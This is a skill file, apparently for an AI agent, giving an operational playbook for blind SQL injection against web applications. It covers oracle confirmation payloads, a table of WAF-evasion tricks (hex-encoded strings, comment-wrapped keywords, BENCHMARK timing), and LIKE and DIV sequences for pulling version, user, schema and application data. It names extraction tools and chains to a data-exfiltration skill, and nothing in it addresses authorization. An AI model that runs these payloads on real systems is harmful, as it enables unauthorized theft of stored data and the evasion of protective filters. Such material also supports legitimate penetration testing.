blind-sqli-extraction · git:20260626.23d9b6b · 2026-06-26 · sha256 8c34105f1cdf5c8d
blind-sqli-extraction git:20260626.23d9b6bA
Immutable. This exact content is served forever at /api/v1/blob/8c34105f1cdf5c8d.
---
name: blind-sqli-extraction
description: "Extract data from boolean and timing-based blind SQL injection points. Use when you have a confirmed injection point with a reliable oracle but no direct output — covers oracle identification, WAF bypass, and efficient extraction via LIKE narrowing and DIV bisection."
---
# Blind SQLi Extraction
You have confirmed SQL injection. The application does not return query results directly. You need to extract data one condition at a time through a boolean or timing oracle.
## Pattern
- Injectable parameter confirmed (boolean differential or timing differential)
- No UNION/error-based output available
- Need to extract version, user, schema, or application data
- WAF may block common keywords or quote characters
## Workflow
### 1. Identify the Oracle
The oracle is the observable difference between TRUE and FALSE conditions. Find it before extracting anything.
| Oracle Type | Signal | Example |
|---|---|---|
| Boolean (response body) | JSON field value changes, result count differs, content present/absent | `paging.total = 5` (TRUE) vs `paging.total = 0` (FALSE) |
| Boolean (status code) | 200 vs 500, 200 vs 302 | Inject `' AND 1=1--` vs `' AND 1=0--` |
| Boolean (response size) | Byte count delta >10 bytes | TRUE returns full page, FALSE returns empty/error |
| Timing | Response time delta >2s | `' AND IF(1=1,SLEEP(3),0)--` vs baseline |
**Validation:** Always confirm with a known-true (`1=1`) and known-false (`1=0`) pair before extraction. If both return the same oracle value, the injection point is not usable.
### 2. Map WAF Restrictions
Before building payloads, identify what the WAF blocks. Test each element independently:
```
Quotes: ' " ` (try hex 0x encoding as bypass)
Whitespace: SPACE TAB (try /**/ or %09)
Keywords: SELECT UNION WHERE AND OR (try case mixing, inline comments)
Functions: SLEEP BENCHMARK IF CASE SUBSTRING (try aliases)
Operators: = < > (try LIKE, BETWEEN, DIV)
Comments: -- # /**/ (try ;%00)
```
### 3. Extract Data
Use the `BlindSQLiTools` toolset. Three extraction methods available:
- `sqli_test_condition` -- test a single boolean condition
- `sqli_extract_string` -- character-by-character string extraction via LIKE
- `sqli_extract_int` -- integer extraction via DIV narrowing
Start with version and user identification, then enumerate schema, then extract target data.
**Extraction order:**
1. `@@version` -- confirms DBMS and informs syntax choices
2. `CURRENT_USER` or `user()` -- identifies privilege level
3. Schema enumeration -- `information_schema.tables`, `information_schema.columns`
4. Target data -- application-specific tables
## WAF Bypass Patterns
| Blocked | Bypass | Notes |
|---|---|---|
| Single quotes `'` | `0x` hex encoding | `'admin'` becomes `0x61646d696e` |
| `SPACE` | Inline comment `/**/` | `AND/**/1=1` |
| `SPACE` | Tab `%09` or newline `%0a` | `AND%091=1` |
| `AND` / `OR` | `&&` / `\|\|` | MySQL only |
| `AND` / `OR` | Case mixing `AnD` | Some WAFs are case-sensitive |
| `SELECT` | `/*!50000SELECT*/` | MySQL version-conditional comments |
| `=` | `LIKE` or `BETWEEN...AND` | `@@version LIKE 0x382e30%` |
| `SUBSTRING` | `MID()` or `LEFT()`/`RIGHT()` | MySQL alternatives |
| `SLEEP` | `BENCHMARK(5000000,SHA1('x'))` | CPU-based timing alternative |
| `IF()` | `CASE WHEN...THEN...ELSE...END` | ANSI SQL, broader compat |
| Comma `,` | `CASE WHEN` instead of `IF(x,y,z)` | Also `LIMIT 1 OFFSET 0` instead of `LIMIT 0,1` |
| `information_schema` | `sys.schema_table_statistics` | MySQL 5.7+ alternative |
### Stacked Bypass (MySQL)
When inline injection is blocked, version-conditional comments can wrap entire clauses:
```sql
/*!50000CASE*/+WHEN+{condition}+THEN+0+ELSE+1+/*!50000END*/
```
### Quote-Free String Comparison
Hex encoding eliminates quotes entirely:
```sql
@@version=0x382e302e3137 -- tests if version equals '8.0.17'
user() LIKE 0x726f6f7425 -- tests if user starts with 'root'
```
## Extraction Techniques
### LIKE Character-by-Character
Extract strings one character at a time using LIKE with wildcard:
```
@@version LIKE 0x38% -- starts with '8'? TRUE
@@version LIKE 0x382e% -- starts with '8.'? TRUE
@@version LIKE 0x382e30% -- starts with '8.0'? TRUE
```
Worst case: 70 requests per character (full charset). Average: ~35 per character.
### DIV Integer Narrowing
Extract integers by narrowing thousands, hundreds, tens, then exact:
```
@@port DIV 1000=3 -- port is 3000-3999? TRUE
@@port DIV 100=33 -- port is 3300-3399? TRUE
@@port DIV 10=330 -- port is 3300-3309? TRUE
@@port=3306 -- port is 3306? TRUE
```
Total: 30-96 requests regardless of value magnitude. Far more efficient than character extraction for numbers.
### Known-Value Shortcut
When extracting from a finite set (version strings, usernames, table names), test exact matches first:
```
@@version=0x382e302e3137 -- '8.0.17'? FALSE
@@version=0x382e302e3333 -- '8.0.33'? TRUE (1 request instead of 35+)
```
Pass common values via `known_values` parameter to try before falling back to character extraction.
## Indicators
- **Oracle confirmed:** Known-true and known-false conditions produce reliably different oracle values
- **Extraction working:** Extracted value is confirmed with exact-match test after LIKE narrowing
- **WAF bypassed:** Payloads return expected oracle responses instead of WAF block pages
- **Privilege identified:** `CURRENT_USER` extraction reveals the database account and privilege level
## Chain With
- **timing-attack-recon** -- discover the injection point via timing differentials
- **parser-differential-bypass** -- WAF bypass via encoding differentials between WAF parser and backend DB
- **403-bypass** -- access blocked endpoints that may have weaker input validation
- **data-exfil** -- exfiltrate extracted data through OOB channels when boolean oracle is unreliable